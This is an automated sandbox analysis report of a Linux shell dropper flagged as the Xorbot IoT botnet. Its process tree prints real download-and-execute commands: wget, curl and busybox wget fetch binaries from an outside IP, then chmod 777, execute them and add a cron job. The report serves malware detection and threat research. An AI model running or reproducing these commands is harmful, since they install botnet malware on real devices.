Analysis

  • max time kernel
    150s
  • max time network
    95s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/12/2024, 00:08

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241202-aewn3synhs
  • SHA256 aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 9 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:742
        • /bin/chmod
          chmod 777 EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          ./EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:760
          • /bin/chmod
            chmod 777 mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • File and Directory Permissions Modification
            PID:764
          • /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            ./mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:765
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:767
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:769
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:771
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:772
                • /bin/rm
                  rm mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
                  2⤵
                    PID:775
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
                    2⤵
                      PID:779
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
                      2⤵
                        PID:781
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
                        2⤵
                        • Writes file to tmp directory
                        PID:783
                      • /bin/chmod
                        chmod 777 utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
                        2⤵
                        • File and Directory Permissions Modification
                        PID:798
                      • /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
                        ./utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
                        2⤵
                        • Executes dropped EXE
                        PID:800
                      • /bin/rm
                        rm utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
                        2⤵
                          PID:801
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                          2⤵
                            PID:802
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                            2⤵
                              PID:804
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                              2⤵
                              • Writes file to tmp directory
                              PID:809
                            • /bin/chmod
                              chmod 777 Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                              2⤵
                              • File and Directory Permissions Modification
                              PID:817
                            • /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                              ./Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                              2⤵
                              • Executes dropped EXE
                              PID:818
                            • /bin/rm
                              rm Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                              2⤵
                                PID:820
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                                2⤵
                                  PID:822
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                                  2⤵
                                    PID:823
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:824
                                  • /bin/chmod
                                    chmod 777 Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:825
                                  • /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                                    ./Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                                    2⤵
                                    • Executes dropped EXE
                                    PID:826
                                  • /bin/rm
                                    rm Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                                    2⤵
                                      PID:828
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                                      2⤵
                                        PID:829
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                                        2⤵
                                          PID:830
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:831
                                        • /bin/chmod
                                          chmod 777 sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:832
                                        • /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                                          ./sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                                          2⤵
                                          • Executes dropped EXE
                                          PID:833
                                        • /bin/rm
                                          rm sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                                          2⤵
                                            PID:835
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                            2⤵
                                              PID:836
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                              2⤵
                                                PID:837
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:838
                                              • /bin/chmod
                                                chmod 777 bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:839
                                              • /tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                                ./bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                                2⤵
                                                • Executes dropped EXE
                                                PID:840
                                              • /bin/rm
                                                rm bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                                2⤵
                                                  PID:842
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                                  2⤵
                                                    PID:843
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                                    2⤵
                                                      PID:844
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:845
                                                    • /bin/chmod
                                                      chmod 777 q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:846
                                                    • /tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                                      ./q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:847
                                                    • /bin/rm
                                                      rm q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                                      2⤵
                                                        PID:850
                                                      • /usr/bin/wget
                                                        wget http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                                        2⤵
                                                          PID:852
                                                        • /usr/bin/curl
                                                          curl -O http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                                          2⤵
                                                            PID:854
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:856
                                                          • /bin/chmod
                                                            chmod 777 nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:861
                                                          • /tmp/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                                            ./nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:862
                                                          • /bin/rm
                                                            rm nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                                            2⤵
                                                              PID:865
                                                            • /usr/bin/wget
                                                              wget http://216.126.231.240/bins/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
                                                              2⤵
                                                                PID:866
                                                              • /usr/bin/curl
                                                                curl -O http://216.126.231.240/bins/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
                                                                2⤵
                                                                  PID:868
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://216.126.231.240/bins/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:869
                                                                • /bin/chmod
                                                                  chmod 777 VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:876
                                                                • /tmp/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
                                                                  ./VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:877
                                                                • /bin/rm
                                                                  rm VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
                                                                  2⤵
                                                                    PID:880
                                                                  • /usr/bin/wget
                                                                    wget http://216.126.231.240/bins/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
                                                                    2⤵
                                                                      PID:881
                                                                    • /usr/bin/curl
                                                                      curl -O http://216.126.231.240/bins/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
                                                                      2⤵
                                                                        PID:883
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://216.126.231.240/bins/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
                                                                        2⤵
                                                                        • Writes file to tmp directory
                                                                        PID:885
                                                                      • /bin/chmod
                                                                        chmod 777 sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:891
                                                                      • /tmp/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
                                                                        ./sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:892
                                                                      • /bin/rm
                                                                        rm sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
                                                                        2⤵
                                                                          PID:895
                                                                        • /usr/bin/wget
                                                                          wget http://216.126.231.240/bins/NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq
                                                                          2⤵
                                                                            PID:897
                                                                          • /usr/bin/curl
                                                                            curl -O http://216.126.231.240/bins/NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq
                                                                            2⤵
                                                                              PID:898
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://216.126.231.240/bins/NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq
                                                                              2⤵
                                                                              • Writes file to tmp directory
                                                                              PID:899
                                                                            • /bin/chmod
                                                                              chmod 777 NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq
                                                                              2⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:903
                                                                            • /tmp/NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq
                                                                              ./NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:905
                                                                            • /bin/rm
                                                                              rm NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq
                                                                              2⤵
                                                                                PID:907
                                                                              • /usr/bin/wget
                                                                                wget http://216.126.231.240/bins/mNCl48KutRXoSRACPIwOQ1gNfUn0f9dx7K
                                                                                2⤵
                                                                                  PID:908

                                                                              Network

                                                                                    MITRE ATT&CK Enterprise v15

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

                                                                                    • Path /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
                                                                                    • Size 99KB
                                                                                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic

                                                                                    • Path /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                                                                                    • Size 177KB
                                                                                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq

                                                                                    • Path /tmp/NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq
                                                                                    • Size 122KB
                                                                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c

                                                                                    • Path /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                                                                                    • Size 98KB
                                                                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR

                                                                                    • Path /tmp/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
                                                                                    • Size 112KB
                                                                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w

                                                                                    • Path /tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                                                                    • Size 127KB
                                                                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

                                                                                    • Path /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
                                                                                    • Size 151KB
                                                                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER

                                                                                    • Path /tmp/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                                                                    • Size 111KB
                                                                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL

                                                                                    • Path /tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                                                                    • Size 151KB
                                                                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q

                                                                                    • Path /tmp/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
                                                                                    • Size 119KB
                                                                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx

                                                                                    • Path /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                                                                                    • Size 141KB
                                                                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj

                                                                                    • Path /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
                                                                                    • Size 111KB
                                                                                    • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    tmp.L0WfSD

                                                                                    • Path /var/spool/cron/crontabs/tmp.L0WfSD
                                                                                    • Size 210B
                                                                                    • SHA256 958afc9135aa4c3f7c24ef1940fc8f83084f30c5b1151f8c9fbb0c338871f869
                                                                                    • MD5 SHA1 SHA512